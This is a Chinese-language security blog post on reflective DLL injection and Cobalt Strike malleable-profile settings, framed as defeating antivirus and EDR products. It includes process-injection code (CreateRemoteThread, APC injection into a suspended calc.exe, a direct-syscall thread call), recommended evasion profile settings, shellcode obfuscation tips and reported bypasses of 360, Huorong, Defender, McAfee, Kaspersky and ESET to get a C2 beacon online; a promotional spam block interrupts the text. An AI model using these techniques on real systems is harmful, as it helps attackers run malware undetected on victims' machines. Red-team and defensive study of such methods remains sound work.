引言
本文主要介紹“反射型dll注入”及“柔性加載”技術。
反射型dll注入 為什么需要反射型dll注入
常規的dll注入代碼如下:
iNt main(int argc, char *argv[]) { HANDLE processHandle; PVOID remoteBuffer; wchar_t dllPath[] = TEXT("C:\experiments\evilm64.dll"); printf("Injecting DLL to PID: %in", atoi(argv[1])); processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, Dword(atoi(argv[1]))); remoteBuffer = VirtualAllocEx(processHandle, null, sizeof dllPath, MEM_COMMIT, PAGE_READWRITE); WriteProcessMemory(processHandle, remoteBuffer, (LPVOID)dllPath, sizeof dllPath, NULL); PTHREAD_START_ROUTINE threatStartRoutineAddress = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("kernel32")), "LoadLibraryW"); CreateRemoteThread(processHandle, NULL, 0, threatStartRoutineAddress, remoteBuffer, 0, NULL); CloseHandle(processHandle); return 0; }
主要做了幾件事情:
- 從磁盤讀取dll到wchar_t數組
- 將該payload數組寫入目標內存
- 在目標內存中找到LoadLibraryW函數
- 通過CreateRemoteThread調用LoadLibraryW函數,參數為dll在內存中的地址。
這樣的操作模式有幾個很高危的點。首先,從磁盤讀取dll需要考慮dll的靜態免殺,對此我們可以直接寫在裝載器中并加密。
其次,在目標內存中找到LoadLibraryW函數,需要GetProcAddress LoadLibraryW,這種調用屬于很有特征的調用模式,容易被AV/EDR歸類。對此我們的解決措施就是接下來要提及的反射型dll注入技術。
最后,CreateRemoteThread進行遠程線程注入 行為本身就很高危,同時參數是LoadLibraryW的地址,一眼malware。
對此我們優化調用,不再使用CreateRemoteThread進而使用創建新進程的方式結合反射型dll注入技術改變dll注入技術的調用模式。
實現思路
早期的dll注入實現原理:
上圖比較清楚的寫了反射型dll注入的原理,1,2,3步由A向B線程寫入dll。第四步調用B線程中的embedded bootstrApper code。最后通過bootstrapper shellcode調用dll的導出函數reflective loader。
reflective loader實際上是一個自己實現的LoadLibraryW函數,從內存中找到我們寫入的dll并修復使其成為可以被正常使用的pe文件,最后調用dllmain實現我們的惡意功能。
我們的具體實現和上面早期的思路有所區別,首先我們不使用遠程進程/線程注入的方式,其次我們不需要bootstrapper shellcode這個部分,我們可以直接在加載器部分算出reflective loader在內存中的地址,直接調用即可。
【一一幫助安全學習,所有資源關注我,私信回復“資料”獲取一一】 ①網絡安全學習路線 ②20份滲透測試電子書 ③安全攻防357頁筆記 ④50份安全攻防面試指南 ⑤安全紅隊滲透工具包 ⑥網絡安全必備書籍 ⑦100個漏洞實戰案例 ⑧安全大廠內部視頻資源 ⑨歷年CTF奪旗賽題解析具體實現 加載器部分
首先shellcode使用AES解密,這部分添加了一些c的代碼加密
后來發現原本項目的release目錄下有Python/ target=_blank class=infotextkey>Python的加密腳本:
解密載入內存后,使用GetReflectiveLoaderOffset計算出ReflectLoader函數的偏移:
最后創建線程調用ReflectLoader函數。
dll部分
ReflectiveLoader一共做了5件事:
一、 解析加載DLL所需kernel32.dll WINAPI的地址(例如VirtualAlloc, LoadLibraryA等),
通過關鍵函數的hash在內存中搜索,函數hash:
遍歷內存進行搜索:
二、 將DLL及其相應的節寫入內存中:
三、 建立DLL導入表,以便DLL可以調用ntdll.dll和kernel32.dll WINAPI
四、 修復重定位表:
五、 調用DLL的入口點:
最終我們的惡意代碼位于dllmain中,項目還是采用加載shellcode的方式上線cs。
柔性加載
限制使用具有RWX標記的內存,cs在4+可以直接進行相關配置。
推薦配置:
set startrwx "false"; set userwx "false"; set cleanup "true"; set stomppe "true"; set obfuscate "true"; set sleep_mask "true"; set smartinject "true";
牛刀小試 360
使用base64+xor混淆shellcode:
成功bypass:
火絨
和上述方法相同:
definder
加強shellcode的混淆:
std::string rest2_reference = "xxx", "==");
依舊報毒,但是類型發生改變了,說明靜態的混淆有效果:
異或的操作,比較可疑,經過測試發現是cs的shellcode出現在數組里就報毒,應該是對內存進行的掃描。
所以我們可以使用《文章二》中提及的技術“規避常見的惡意API調用模式”,將shellcode分片直接寫入連續內存。
在測試的過程中發現莫名其妙的過了查殺:
很神奇,這段并沒有實現內存的切片寫入,因為shellcode的大小沒有達到4096,實際上相當于直接分配了個大小為4096的數組,寫入了shellcode。
而且把這段代碼相同的格式放外面就不行,個人感覺definder還是沒有去檢查內存。
可能是有語義分析的引擎,這次剛好繞過了語義分析。
macfee
同上方法可以成功bypass:
正常執行命令:
kasperky Endpoint 11 for windows
用過macfee和definder的demo2測試失敗,注釋掉代碼加載部分不報毒,改用apc和創建進程的的方式加載內存:
SIZE_T shellSize = 4096; STARTUPINFOA si = { 0 }; PROCESS_INFORMATION pi = { 0 }; CreateProcessA("C:\Windows\System32\calc.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi); HANDLE victimProcess = pi.hProcess; HANDLE threadHandle = pi.hThread; LPVOID shellAddress = VirtualAllocEx(victimProcess, NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress; WriteProcessMemory(victimProcess, shellAddress, exec, shellSize, NULL); QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL); ResumeThread(threadHandle);
依舊不行:
使用syscall調用NtCreateThreadEx。這里被坑了,WaitForSingleObject要使用,不然會異步,沒法上線:
ANtCTE( &hThread, THREAD_ALL_ACCESS, NULL, GetCurrentProcess(), (LPTHREAD_START_ROUTINE)exec, NULL, NULL, 0, 0, 0, nullptr ); WaitForSingleObject(hThread, INFINITE);
能看到效果,行為檢測依舊有問題:
但漏洞利用防御已經沒有相關報警:
懷疑是cs本身流量特征的問題,為了驗證我使用卡巴斯基本身的功能禁用了網絡請求:
確實不殺也不報警了,確定是cs通信的問題。
ESET Endpoint Security
demo3報警,并且明顯檢測到網絡連接行為
靜態沒有問題
主要應該還是在對內存的檢測,而且感覺已經執行到了發包
下面根據《三》中的“beacon的內存加密”對demo3進行優化,使用RefleXXion工具的第二種將內存設為NO_ACCESS并通過注冊異常處理還原的方式進行免殺。
設置流量的白名單:
關閉web控制后成功并上線
eset在持續在掃描內存,但一直沒有權限,一直觸發異常,無法進入正常的后門邏輯
能繞過內存的檢測,但無法正常使用
感覺ESET一直在我程序里進行內存操作,訪問到了不可訪問的內存段。
可能ESET的機制是一直在掃描程序內存,也可能是想要做一些hook。
我嘗試使用RefleXXion的第一種方法,將shellcode加密并使屬性為RW或RX的方式加載shellcode:
可以成功上線,并且正常使用:
總結
該系列文章所有的bypass edr方法都只在用戶態進行操作,已經能規避大多數AV/EDR的檢測。但不乏一些edr進行了比較多的內核層面的限制,如炭黑、fireeye等。